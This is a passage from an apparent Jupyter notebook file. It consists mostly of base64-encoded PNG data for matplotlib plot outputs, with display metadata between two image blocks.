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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAXwAAAD8CAYAAAB0IB+mAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAADl0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uIDIuMi4yLCBo\ndHRwOi8vbWF0cGxvdGxpYi5vcmcvhp/UCwAAIABJREFUeJzt3Xl8FOX9B/DPNweEBEgICcgdLkHu\nI1xyKOABHuBRLXgWD4pHrdVqPX7W2npUrdVavLCi1KKgomBFrIgIIme4I3KEQwiEJNyBQCDJ8/tj\nZ8Ps7uw9u7PZ+bxfr7wy++zsPM/uzn7nuWZGlFIgIqL4l2B1AYiIKDoY8ImIbIIBn4jIJhjwiYhs\nggGfiMgmGPCJiGyCAZ+IyCYY8ImIbIIBn4jIJpKsLoBeVlaWysnJsboYRES1yurVqw8opbL9rRdT\nAT8nJwd5eXlWF4OIqFYRkZ8DWY9dOkRENsGAT0RkEwz4REQ2wYBPRGQTDPhERDbBgE9EZBMM+ERE\nNsGAD2D22r04UVFpSd77jpzEws0lluQNAIu2lmLPoXJL8j51pgqzVhfCqttsbiw8ig2FRyzJWymF\nT9cUovy0Nftd4eFyLNxi3X63cEsJCg9bs9/ZWcABX0SmikiJiOTr0l4Ukc0iskFEPhORDC09R0RO\nisg67e/NSBTeDGt3H8b9M9fh/2bn+185Aq745xJMeG+VJXkDwK1TV2L4376zJO9n5v6EBz9ejx8K\nDlqS/5WTl2DM5B8syXvlzkN44KP1+PN/N1mS/6UvL8aEd63b7ya8uwqXvLzYsvztKpga/nsARrml\nzQfQTSnVA8BWAI/qntuulOql/U0Kr5iRU366CgBQfOyUJfkfOnHaknz1KqutqWE7P/PjFrWurOR8\nzyVlFZbkf0Lb761UHgNlsJuAA75SajGAQ25pXyulnL/W5QBamlg2IiIykZl9+LcBmKd73FZE1orI\nIhEZ6u1FIjJRRPJEJK+0tNTE4hARkZ4pAV9EHgdQCWC6llQEoLVSqjeABwB8ICINjV6rlJqilMpV\nSuVmZ/u92BsREYUo7IAvIrcCuALAjUqbbqGUqlBKHdSWVwPYDuDccPMiIqLQhRXwRWQUgD8AGKOU\nKtelZ4tIorbcDkBHADvCyStSLJoRSEQUdQFfD19EPgRwIYAsESkE8CQcs3LqApgvIgCwXJuRMwzA\nn0WkEkAVgElKqUOGG44RjuJTNPFYSxRdAQd8pdR4g+R3vKw7C8CsUAtF9sKDLVF08ExbIiKbYMAn\nsgDHjsgKDPhEFmJvFkUTAz5ZjrVdouiwfcBXnCtiGdZuiaLL9gHfSRh+oo6HWqLoYsAn